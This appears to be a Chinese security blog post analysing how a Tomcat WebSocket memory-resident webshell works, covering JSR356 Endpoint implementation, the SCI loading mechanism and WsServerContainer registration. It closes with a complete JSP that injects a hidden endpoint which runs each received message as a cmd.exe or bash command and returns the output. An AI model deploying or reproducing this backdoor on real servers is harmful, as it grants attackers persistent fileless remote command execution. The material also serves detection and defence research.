Tomcat WebSocket内存马实现原理-安全KER

前不久，网上出现了关于websocket内存马的介绍，经过试用发现效果不错。但是原文（https://github.com/veo/wsMemShell/），对于原理的介绍一笔带过，看过之后，依然有很多疑问。于是就尝试学习一下WebSocket内存马的实现原理。

主要分析了Tomcat WebSocket内存马的实现原理，关于其他中间件暂未涉及。

WebSocket内存马实现的关键在于服务端端点（Endpoint）的实现、加载，执行，重点关注这三个方面。

>>>> Endpoint的实现

此次实现的WebSocket内存马是基于Java WebSocket规范（JSR356）。Tomcat将WebSocket通信中的服务端抽象为了Endpoint，并提供两种方式来实现Endpoint：

注解方式：@ServeEndpoint
继承抽象类方式：javax.websocket.Endpoint

这两种方式都需要实现相应的生命周期。提供了4个标准的生命周期方法，当产生不同的事件时会被回调触发：

onOpen: 会话建立
onClose: 会话关闭
onError: 会话异常
onMessage: 接收到消息

注解方式

通过注解方式实现Endpoint，需要用@ServerEndpoint注解实现了Endpoint生命周期的类，并用生命周期相关的注解（@OnOpen、@OnClose、@OnError、@OnMessage）来注解对应的生命周期实现方法。通过注解的参数，为当前Endpoint注册URI路径。

import javax.websocket.*;import javax.websocket.server.ServerEndpoint;import java.io.IOException; @ServerEndpoint("/websockets")public class WebSocketServer {     private Session session;     @OnOpen    public void onOpen(Session session) {         this.session = session;        System.out.println("已连接！Session: " + session.toString());         try {            session.getBasicRemote().sendText("a");        } catch (IOException e) {            e.printStackTrace();        }    }     @OnMessage    public void onMessage(Session session, String message) {        System.out.println("onMessage:" + message);    }     @OnClose    public void onClose(Session session, CloseReason closeReason) {        System.out.println("CloseReason:" + closeReason.toString());    }     @OnError    public void onError(Throwable throwable) {        throwable.printStackTrace();    }}

继承抽象类方式

通过继承抽象类方式实现Endpoint稍微复杂一些，需要实现三个类：

Endpoint实现类：主要实现3个标准生命周期方法（onOpen、onError、onClose），添加MessageHandler对象
MessageHandler实现类：实现onMessage方法
ServerApplicationConfig实现类：完成Endpoint的URI路径注册

//Endpoint实现类import javax.websocket.Endpoint;import javax.websocket.EndpointConfig;import javax.websocket.MessageHandler;import javax.websocket.Session;import java.io.IOException; public class WebSocketServer2 extends Endpoint {     private Session session;     @Override    public void onOpen(Session session, EndpointConfig endpointConfig) {        this.session = session;        session.addMessageHandler(new MessageHandler.Whole<String>() {    //匿名类实现MessageHandler            @Override            public void onMessage(String message) {                System.out.println("onMessage: "+message);            }        });        System.out.println("已连接WebsocketServer: " + session.toString());        try {            session.getBasicRemote().sendText("a");        } catch (IOException e) {            e.printStackTrace();        }    }} //ServerApplicationConfig实现类import javax.websocket.Endpoint;import javax.websocket.server.ServerApplicationConfig;import javax.websocket.server.ServerEndpointConfig;import java.util.HashSet;import java.util.Set; public class EndpointApplicationConfig implements ServerApplicationConfig {    @Override    public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> set) {          Set<ServerEndpointConfig> result = new HashSet<>();        if (set.contains(WebSocketServer2.class)) {            result.add(ServerEndpointConfig.Builder.create(WebSocketServer2.class, "/websockets2").build());        }        return result;    }     @Override    public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> set) {        System.out.println(set);        return set;    }}

>>>> SCI机制

Tomcat的WebSocket加载是通过SCI机制完成的。

Tomcat在启动时会对classpath下的Jar包进行扫描，扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。

对于Tomcat WebSocket来说，如图是tomcat-websocket.jar的ServletCotainerInitializer文件。

会加载文件中的类：org.apache.tomcat.websocket.server.WsSci，该类是ServletContainerInitializer接口的实现类。

然后该类的@HandleTypes注解的值会指定的一系列类、接口、注解。Tomcat会获取指定类、接口、注解的实现类，并在调用WsSci#onStartup时作为参数传入。

>>>> Endpoint的加载

ServerEndpoint、ServerApplicationConfig、Endpoint的实现类，以参数传入WsSci#onStartup。

ServerApplicationConfig的实现类，实例化后存入serverApplicationConfigs变量。

Endpoint的实现类，存入scannedEndpointClazzes变量。

ServerEndpoint注解的类，存入scannedPojoEndpoints变量。

变量存储情况如下，通过注解方式实现的WebSocketServer类存入了scannedPojoEndpoints，通过继承抽象类方式实现的WebSocketServer2类存入了scannedEndpointClazzes。

另外，scannedEndpointClazzes中还存入了PojoEndpointClient和PojoEndpointServer两个类。

接着会根据serverApplicationConfigs、scannedEndpointClazzes、scannedPojoEndpoints三个变量的值，来构建两个变量：filteredEndpointConfigs和filteredPojoEndpoints。

filteredEndpointConfigs：如果有ServerApplicationConfig对象，则遍历所有对象并完成如下操作：调用其getEndpointConfigs方法获取ServerEndpointConfig的集合，加入到filteredEndpointConfigs中。因此filteredEndpointConfigs存储的是通过ServerApplicationConfig对象获取的ServerEndpointConfig对象的集合。

filteredPojoEndpoints：利用同样的ServerApplicationConfig对象，调用其getAnnotatedEndpointClasses方法获取Class对象的集合，也是被ServerEndpoint注解的类的集合。因此filteredPojoEndpoints存储的是@ServerEndpoint注解的类的集合。

变量存储情况如下，通过注解方式实现的WebSocketServer类存入了filteredPojoEndpoints，而filteredEndpointConfigs存储的是EndpointApplicationConfig#getEndpointConfigs返回的DefaultServerEndpointConfig。

接着就是根据两个变量向WsServerContainer添加Endpoint，完成Endpoint的部署。

对应了WsServerContainer的两个重载方法：

addEndpoint(javax.websocket.server.ServerEndpointConfig)：该方法中，会根据传入的ServerEndpointConfig对象进行URI路径注册，其中包含了该对象在创建时指定的Endpoint实现类。
addEndpoint(java.lang.Class<?>)：该方法中，会获取传入的POJO类的注解，根据注解的参数值创建ServerEndpointConfig对象，然后调用上面的重载方法，进行URI路径注册。

>>>> Endpoint的执行

在WsSci#onStartup中，会进行WsServerContainer的创建和初始化，在创建过程中会通过ServletContext#addFilter调用ApplicationContextFacade#addFilter添加过滤器WsFilter。

之后所有的请求都会经过WsFilter。之后接收到请求之后，如果注册有Endpoint，且请求是WebSocket的协议升级请求，进行规则匹配及升级。

为了匹配规则，会通过WsServerContainer#findMapping获取URI路径对应的WsMappingResult对象，并进行协议升级。

>>>> 内存马实现

根据Endpoint的加载得知要想动态添加一个Endpoint，就需要获取WsServerContainer，并通过addEndpoint向其中添加ServerEndpointConfig。

在WsSci#init中，完成了对WsServerContainer的实例化，并且通过ServletContext#setAttribute对WsServerContainer进行存储。因此就可以通过ServletContext来获取WsServerContainer。

最终WebSocket内存马实现步骤如下：

实现Endpoint，MessageHandler.onMessage中实现木马通讯功能
为Endpoint创建ServerEndpointConfig
依次获取ServletConext和WsServerContainer
通过WsServerContainer.addEndpoint添加ServerEndpointConfig

<%@ page import="javax.websocket.server.ServerEndpointConfig" %><%@ page import="javax.websocket.server.ServerContainer" %><%@ page import="javax.websocket.*" %><%@ page import="java.io.*" %>
<%!    public static class C extends Endpoint implements MessageHandler.Whole<String> {        private Session session;        @Override        public void onMessage(String s) {            try {                Process process;                boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");                if (bool) {                    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });                } else {                    process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });                }                InputStream inputStream = process.getInputStream();                StringBuilder stringBuilder = new StringBuilder();                int i;                while ((i = inputStream.read()) != -1)                    stringBuilder.append((char)i);                inputStream.close();                process.waitFor();                session.getBasicRemote().sendText(stringBuilder.toString());            } catch (Exception exception) {                exception.printStackTrace();            }        }        @Override        public void onOpen(final Session session, EndpointConfig config) {            this.session = session;            session.addMessageHandler(this);        }    }%><%    String path = request.getParameter("path");    System.out.println(path);    ServletContext servletContext = request.getSession().getServletContext();    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());    try {        if (servletContext.getAttribute(path) == null){            container.addEndpoint(configEndpoint);            servletContext.setAttribute(path,path);        }        out.println("success, connect url path: " + servletContext.getContextPath() + path);    } catch (Exception e) {        out.println(e.toString());    }%>